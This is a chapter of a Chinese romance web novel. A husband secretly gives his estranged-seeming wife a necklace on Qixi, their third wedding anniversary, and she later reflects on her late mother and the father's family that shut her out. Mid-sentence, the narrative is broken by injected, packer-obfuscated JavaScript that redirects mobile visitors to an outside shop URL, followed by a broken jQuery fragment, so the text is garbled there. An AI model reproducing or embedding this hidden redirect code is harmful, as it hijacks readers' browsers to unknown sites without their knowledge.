路灯的光，从车窗外照进来，在许安柠脸上一明一灭。
她睡着了，头靠着车窗，呼吸很轻。长长的睫毛盖住了那双清澈的眼睛，也遮住了那里面的疏离和冷淡。
周绽廷看着现在的她，俨然一个在外面玩累了，回家途中，在家人身边睡着的普通女孩。
不过，她是吃累的。
一顿饭吃了三个小时。菜一道一道地上，她一道一道地等。等到后面，实在无聊极了，数起了酒架上的酒，和玻璃幕墙的玻璃。
她当然没数出声来，但是眼睛有规律地移动，被他看出来了。
想到这儿，周绽廷忍不住又笑了。
车子过减速带，颠了一下，她的头被磕了一下。不过没醒，换了个方向，继续睡了。
周绽廷拿出一个深蓝色的小盒子。
打开。一条极细的铂金链，坠着一颗小小的钻石，在昏暗的车厢里闪着细碎的光。
他看了她一眼。还睡着。
他倾身过去，手指捏着链子，从她后颈绕过。动作很轻，但链子很凉。碰到她皮肤的时候，她动了一下，眉头微微蹙起。
他立刻停住，等她呼吸又慢慢均匀了，继续把搭扣扣好。然后手指在她后颈停了一瞬。退回去，看着她。
那颗小石头，刚好落在她锁骨中间。
那里终于不再空了。他心里某个地方，好似也被填补上了。
七年前那个画面，一直在他脑海里，挥之不去。
一个扎着低马尾的白净女孩，穿着一条简简单单的白色连衣裙，安静地站在寿宴角落里。
她身上没有一件首饰，没有一个发光的东西，但就是让他一眼便看到了她。
那时候他就觉得，她脖子那里太空了。要是戴上一条项链，会更好看。
现在，终于戴上了。
他往她那边挪了挪，扶着她的头，把自己的肩膀垫上去，让她睡得舒服些。
谁知，她突然动了。
周绽廷立马定住，屏息凝神，留意着她的动作。
许安柠环住他的胳膊，把身子往他身上靠了靠，头在他肩膀上蹭了蹭，找了个更安稳的地点，又安静下来了。
周绽廷整个人僵在那里。脑子里有什么东西断了一下，又重新接上，接上之后，所有的信号都乱了。呼吸、心跳、血液流动方向，全都不听使唤。
只有触觉，异常灵敏。
手肘处的那片柔软，伴随着她的呼吸，一下一下，轻轻压过来，又慢慢退回去。像潮水，不汹涌，却让人站不住。
他闭上眼睛，等那阵乱过去。
再睁开时，心跳已经恢复，呼吸也稳了。只有胳膊上那一点知觉，怎么都关不掉。
他低头看了一眼。
她睡得很沉，大概是平时太累，又喝了一点红酒的缘故。上次在瑞士，听她师兄妹们闲聊，好像她经常熬夜，很少十二点之前离开实验室。
二十五岁的年纪，眼底那点青色，不该是她有的。
周绽廷忽然有点懊悔，也许他应该早一点回来。
但早一点回来，可能也于事无补吧。一个校门，把他们俩隔开。他就是想管，也管不了。
他靠在椅背上，目光落在那两只缠在他西装袖子的纤细手臂上，看了很久。
——
许安柠醒来的时候，车子已经停在京北大学东门外。
她慢慢睁开眼睛，发了会儿懵，一时想不起来自己这是在哪儿，又去做了什么。
然后，她感觉到自己怀里有什么东西，下意识地抓握了一下，手上传来紧绷结实的手感。同时闻到了一股熟悉的清冽的味道。
脑子瞬间清醒。
她眨了几下眼睛，然后慢慢放开他的手臂，坐直身子，若无其事地往窗外看去。
看到京北大学的校牌，不禁一讶：“到了？你怎么也不叫我？”
说着，去摸手机。
手机在她翻身找“枕头”的时候，从她腿上，滑到了座椅上，黑色屏幕和黑色真皮融为一体，不容易发现。
周绽廷笑了一下，把手机拿起来递给她，“刚到，不晚。”
许安柠看着那只不知被她抱了多久的手，脸一红，接过来，“谢谢。那我回去了。你也早点回去休息吧。”
许安柠开门下车，周绽廷也下来了。
“等一下，安柠。”
他打开后备箱，取出一个盒子递给她，“这个你带回去吃吧，我不喜欢甜食。”
许安柠低头一看，是从餐厅带回来的餐后小点。
她看了看他，没有推辞，“好。”
她拿着盒子正欲转身，他又叫住她。
“安柠。”
许安柠停住。那颗还没被她发现的小石头，正在她锁骨上，悄悄发着光。
周绽廷弯起唇角，“七夕快乐。”
许安柠愣了一下，“七夕快乐。”
“还有……”他顿住。
许安柠等了一会儿，没等到下文，疑惑地看着他。
不知是不是自己刚睡醒，还看不太清楚的缘故，只觉得他的眼睛好像笼上了一层朦胧的月光，不似平时那般有压迫感。
“三周年快乐。”他说。
许安柠一下怔在了那里。
今天是……和他领证的日子吗？今天是几号？
她想起今天下午收到了自然科学基金委的邮件，她特地看了下时间，是8月27日，下午3点20分。
8月27号。
她想了想，当年导师通知进组的时间是8月28号上午九点，她和他领完证当天就回了京北，第二天正好赶上进组日期。
好像确实是今天。
他竟然记得。
路灯的光从头顶落下，把他脸上照得明暗交错，越发立体深邃。
许安柠看着他唇边的笑意，觉得自己似乎也应该笑一笑，但好像又笑不出来，只好微微勾了勾唇角：
“三周年快乐。那我……回去了？”
周绽廷看着她“被迫营业”的样子，忍住嘴边的笑，点点头，“嗯，晚安。”
“晚安。”
许安柠说完，终于松了口气，立刻转身往校门口走去。
周绽廷看着她进了校门，拐到他看不到的地方，才慢慢收回视线。同时敛起那鲜少露出的温柔眸色，又恢复了平日的冰冷和锐利。
上了车，给助理程牧发了个消息。让他查一下，今天和张远一起吃饭的那个女人是谁。
那个女人看许安柠的眼神，让他在意。那不是一种单纯好奇的打量，还夹杂着别的东西。
他不喜欢那种眼神。尤其它是放在许安柠身上的，这让他很介意。
——
许安柠回到宿舍，不到十一点半，比她平时还要早一点。
宿舍里没人。舍友今天和男朋友约会，应该不会回来了。
许安柠把点心盒放在桌子上，往那张窄窄的单人床上一躺，打算过会儿再去洗澡。突然感觉脖子上好像有什么东西，凉凉的。用手一摸，摸到了一条链子。
她愣了一下，坐起来，拿起桌上的折叠化妆镜一看。
一条极细的铂金链，坠着一颗小小的钻石，在灯光下，闪着细碎耀眼的光芒。链子很细，细到几乎看不见，只有那颗石头，安静地躺在她锁骨中间。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566330|204765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盯着镜子里的自己，脑海里慢慢浮起一些模糊的画面——车厢里，很暗，有人靠近她，后颈有什么东西贴了一下……
她的脸忽然有些发热。
许安柠看到镜子里自己的脸红得像涂了胭脂。
原来自己脸红起来这么明显。怎么从来没有人告诉过她？
她又看了一眼那条项链，想起他说“三周年快乐”和“七夕快乐”。
原来，他还准备了礼物。
她看着镜子中那颗发光的小石头，平静的眼底，有一道浅浅的波纹划过。指尖在它上面停留了片刻，然后把它摘了下来。
拉开抽屉，从一堆杂物中，拿起一个小塑料盒，打开，把里面的U盘拿出来，把项链放进去。
又从衣柜深处拿出一个旧旧的铁盒。里面有一本相册，一个胸针，一条红绳手串，还有一个大白钥匙扣。
许安柠把塑料盒放进铁盒里，没有急着把它放回去，拿出那本相册，坐在床边，翻看起来。
第一页就是那张照片。
老公寓的客厅，光线很足，阳光从窗户斜斜地照进来，把整个画面都染成了暖黄色。
一个七八岁的小女孩，站在那张长长的书桌前，举着一张奖状，咧着嘴笑得灿烂。眼睛弯成两道月牙。门牙还没长齐，丑丑的，却阻挡不了她的好心情。
她盯着照片里的小女孩，看了很久，然后目光移到她身后。
那张长长的书桌，比她现在实验室的工位还宽，桌面磨得发白。桌上摊着几本画稿，旁边有一支削得很尖的铅笔，还有一盏绿色罩子的台灯。
和今天在周绽廷家看到的那盏，几乎一模一样。
她盯着那盏灯，一些许久没有翻起的回忆，涌了上来。
就在那间老公寓，那张书桌前，那盏台灯下，妈妈拿着铅笔，勾勾画画，不一会儿，一件漂亮的旗袍就在稿纸上诞生了。
后来妈妈走了，她搬进许家，那间老公寓被清空，那盏灯也随之不见了。
她以为她再也见不到它了。可是今天，在周绽廷家里，看到了一盏一模一样的。
她知道那不是同一盏。以前的那盏，被许太太下令砸烂扔掉了。
但他为什么会有一盏这样的灯？明明和那个崭新的家不相配。
许安柠合上相册，放回铁盒里，塞进衣柜最深处。
洗完澡，躺下后，习惯性地点开朋友圈。
划了两下，看到一张照片。环境优美的法餐厅里，许董事长、许太太，还有许家大小姐许清韵，三个人围坐在一张餐桌前，面对镜头微笑着。就连平时不苟言笑的许董事长，也难得露出慈父的面孔。
配文只有四个字：一家三口。
许安柠盯着那四个字看了几秒。她早知道他们才是一家人，但那四个字还是有些刺眼。
手机震了一下。苏棠发来消息：
【柠檬，我妈做了酱小黄瓜，老规矩寄了两份，到时候我给你拿一份过去。】
【对了，我妈还问，中秋节咱俩还回去不。】
【你要是不想回去，我也不回了。反正回去也是听她唠叨。】
苏棠这么晚还没睡，可能在赶设计稿。
许安柠看着苏棠最后一条消息。
她知道苏棠应该想回去。苏棠今年春节就没回去，说是怕家里催婚，其实是留下来陪她。
可是，她回去，去哪儿呢？
许安柠没有回复。熄灭了屏幕，翻了个身。
黑暗中，她想起周绽廷说“这是我们的家”。
他恐怕不知道，早在她十二岁，妈妈走的那一年，她就没有家了。
也不再期待有家。